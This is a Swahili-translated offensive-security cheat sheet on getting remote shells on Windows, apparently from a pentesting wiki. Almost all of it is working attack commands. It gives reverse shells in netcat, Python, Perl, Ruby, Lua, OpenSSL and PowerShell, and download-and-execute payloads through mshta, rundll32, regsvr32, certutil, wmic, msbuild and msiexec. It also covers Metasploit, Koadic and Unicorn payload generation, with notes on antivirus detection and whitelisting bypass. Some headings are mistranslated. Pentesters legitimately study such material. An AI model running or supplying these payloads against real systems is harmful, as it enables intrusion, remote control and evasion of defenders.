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Kikundi cha Usalama cha Try Hard

Lolbas

Ukurasa lolbas-project.github.io ni kwa Windows kama https://gtfobins.github.io/ ni kwa linux. Kwa dhahiri, hakuna faili za SUID au mamlaka ya sudo kwenye Windows, lakini ni muhimu kujua jinsi baadhi ya binari zinaweza kutumika (kwa ubaya) kutekeleza aina fulani ya hatua zisizotarajiwa kama kutekeleza nambari za kupindukia.

NC

nc.exe -e cmd.exe <Attacker_IP> <PORT>

SBD

sbd ni mbadala wa Netcat uliounganifu na salama. Inafanya kazi kwenye mifumo inayofanana na Unix na Win32. Ikiwa na sifa kama encryption imara, utekelezaji wa programu, bandari za chanzo zinazoweza kubadilishwa, na uunganisho endelevu, sbd hutoa suluhisho la kipekee kwa mawasiliano ya TCP/IP. Kwa watumiaji wa Windows, toleo la sbd.exe kutoka usambazaji wa Kali Linux linaweza kutumika kama mbadala thabiti wa Netcat.

# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444


# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)

Python

#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Perl

Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kujenga shellcode kwa mifumo ya Windows.

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

Kijivu

#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

Kiswahili

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

OpenSSH

Mvamizi (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Mnajisi

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Powershell

Powershell ni lugha ya skripti iliyoundwa na Microsoft kwa madhumuni ya kufanya usimamizi wa mfumo na automatiseringi. Inaweza kutumika kwa ufanisi katika uchunguzi wa dijiti na upenyezaji wa mtandao.

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

Mchakato unatekeleza wito wa mtandao: powershell.exe Mzigo ulioandikwa kwenye diski: HAPANA (angalau mahali popote nilipoweza kupata kwa kutumia procmon!)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Mchakato unaoendesha wito wa mtandao: svchost.exe Payload iliyoandikwa kwenye diski: Hifadhi ya muda ya mteja wa WebDAV

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Pata habari zaidi kuhusu Mabakuli tofauti ya Powershell mwishoni mwa hati hii

Mshta

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
mshta http://webserver/payload.hta
mshta \\webdavserver\folder\payload.hta

Mfano wa ganda la nyuma la hta-psh (tumia hta kupakua na kutekeleza mlango wa nyuma wa PS)

<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>

Unaweza kupakua na kutekeleza kwa urahisi sana kizimbe cha Koadic kwa kutumia stager hta

mfano wa hta

Kutoka hapa

<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

mshta - sct

Kutoka hapa

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Mshta - Metasploit

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit

Imegunduliwa na msimamizi

Rundll32

Mfano wa Dll ya hello world

rundll32 \\webdavserver\folder\payload.dll,entrypoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Imegunduliwa na msimamizi

Rundll32 - sct

Kutoka hapa

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Rundll32 - Metasploit

use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0

Rundll32 - Koadic

use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();

Regsvr32

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Imegunduliwa na msimamizi

Regsvr32 -sct

Kutoka hapa

<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>

Regsvr32 - Metasploit

use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll

Unaweza kupakua na kutekeleza kwa urahisi sana koadic zombie ukitumia stager regsvr

Certutil

Pakua B64dll, itafsiri na kutekeleza.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

Pakua B64exe, itafsiri na kuitekeleza.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Kugunduliwa na msimamizi

Cscript/Wscript

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Cscript - Metasploit

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs

Imegunduliwa na msaliti

PS-Bat

\\webdavserver\folder\batchfile.bat

Mchakato unaoendesha wito wa mtandao: svchost.exe Mzigo ulioandikwa kwenye diski: Hifadhi ya ndani ya mteja wa WebDAV

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
\\10.8.0.3\kali\shell.bat

Kugunduliwa na msimamizi

MSIExec

Mshambuliaji

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80

Mfano:

victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

Imegundulika

Wmic

wmic os get /format:"https://webserver/payload.xsl"

Mfano wa faili ya xsl kutoka hapa:

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>

Haijagunduliwa

Unaweza kupakua na kutekeleza kwa urahisi sana koadic zombie ukitumia stager wmic

Msbuild

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Unaweza kutumia mbinu hii kukiuka Orodha ya Maombi na vizuizi vya Powershell.exe. Kama utaulizwa na kifaa cha PS shell. Pakua hii na itekeleze: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

Haijagunduliwa

CSC

Kusanya msimbo wa C# kwenye mashine ya mwathiriwa.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs

Unaweza kupakua kaboti ya C# ya nyuma hapa: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

Haitambuliwi

Regasm/Regsvc

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Sijajaribu

https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182

Odbcconf

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Sijajaribu

https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2

Powershell Mabakuli

PS-Nishang

https://github.com/samratashok/nishang

Katika folda ya Shells, kuna mabakuli mengi tofauti. Ili kupakua na kutekeleza Invoke-PowerShellTcp.ps1 fanya nakala ya hati na ongeza mwishoni mwa faili:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

Anza kuhudumia script kwenye seva ya wavuti na kuitekeleza kwenye mwisho wa muathiriwa:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender haiichunguzi kama nambari yenye nia mbaya (bado, 3/04/2019).

TODO: Angalia mabakuli mengine ya nishang

PS-Powercat

https://github.com/besimorhino/powercat

Pakua, anzisha seva ya wavuti, anzisha msikilizaji, na itekeleze kwenye mwisho wa mhanga:

powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Defender haidhinishi kuwa ni msimbo mbaya (bado, 3/04/2019).

Chaguo nyingine zinazotolewa na powercat:

Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...

Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep

Empire

https://github.com/EmpireProject/Empire

Tengeneza mizizi ya powershell, iihifadhi kwenye faili na uipakue na kuitekeleza.

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Imeonekana kama msimbo mbaya

MSF-Unicorn

https://github.com/trustedsec/unicorn

Tengeneza toleo la powershell la mlango wa nyuma wa metasploit kwa kutumia kifaa cha unicorn

python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443

Anza msfconsole na rasilimali iliyoundwa:

msfconsole -r unicorn.rc

Anza mtandao wa seva unayotoa faili ya powershell_attack.txt na tekeleza kwenye mhanga:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

Imedetektiwa kama msimbo mbaya

Zaidi

PS>Attack PS console na moduli za PS zenye uchokozi zilizopakiwa mapema (zilizofichwa) https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9 WinPWN PS console na moduli za PS zenye uchokozi na uchunguzi wa proksi (IEX)

Marejeo

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